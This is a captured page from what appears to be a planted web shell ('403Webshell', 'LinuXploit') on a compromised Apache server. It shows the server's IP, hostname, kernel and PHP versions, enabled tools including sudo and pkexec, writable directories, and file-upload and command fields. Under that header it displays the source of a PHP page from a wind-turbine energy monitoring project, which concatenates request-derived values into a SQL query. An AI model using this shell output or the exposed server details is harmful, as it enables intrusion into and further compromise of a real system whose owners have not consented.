403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/vtgis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/vtgis//elista.php
<!DOCTYPE html>
<!--
******************************
 Project: IS VetroIng, 2024.
 Version: 24-04-25
 Author : TIM/M.Kukic
 Note   :
******************************
-->
<html>
<head>
<style>
table, th, td {
    border: 1px solid gray;
	border-collapse: collapse;
}
th, td {
    padding: 4px;
    text-align: center;
}

</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<meta http-equiv="refresh" content="20">
<title>VetroIng</title>
</head>
<body>
<div style="width:720px; word-wrap:break-word;">

<?php
//
include "config.php";
include "hed.php";
$loc = $_GET["loc"];
$lng = $_GET["lng"];
if ($lng==""){
	$lng="sr";
}

//
 		$sql = "SELECT * FROM vtg_energy WHERE vtgid='".$vtg[$loc]."' ORDER BY dattime DESC LIMIT ".$llim;

if ($vap==5) {
		$result = mysql_query($sql, $dbh) or die (mysql_error($dbh));
		$nuz = mysql_num_rows($result);
}else{
		$result = mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
		$nuz = mysqli_num_rows($result);
}	
		echo "VTG: <b>".$vtg[$loc]." - ".$vtgnam[$loc]."</b> / Sample ".$nuz." (Limit: ".$llim.")";
		echo "<br>";
				
			echo "<table style='background-color:#F0F8FF; width:720px; margin:0 auto;'>";
			echo "<tr>";
				echo "<th>Br.</th>";
				echo "<th>Date - Time</th>";
				echo "<th>Gen Rot</th>";
				echo "<th>ACV</th>";
				//echo "<th>DCV</th>";
				echo "<th>ACA</th>";
				echo "<th>Wind</th>";
				echo "<th>Temp</th>";
			echo "</tr>";
			
			for ($i = 1; $i<($nuz+1); $i++) {	
			
	if ($vap==5) {				
			$row = mysql_fetch_array($result);
	}else{
			$row = mysqli_fetch_array($result);
	}				
				//
				echo "<tr>";
				echo "<td>".$i."</td>";
				$dt=$row['dattime'];
				$go=substr($dt,0,4);
				$me=substr($dt,5,2);
				$da=substr($dt,8,2);
				$vr=substr($dt,11,5);
				echo "<td>".$da."/".$me."/".$go." - ".$vr."</td>";
				
				echo "<td>".$row['genrot']."</td>";
				echo "<td>".$row['acfr']."</td>";
				//echo "<td>".$row['dcr']."</td>";
				echo "<td>".$row['dca']."</td>";
				echo "<td>".$row['wind']."</td>";
				echo "<td>".$row['gentemp']."</td>";
				echo "</tr>";
			}
			echo "</table>";
            echo "<br>";
//
include "db-close.php";	

include "graf-link.php";
include "fut.php";
?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit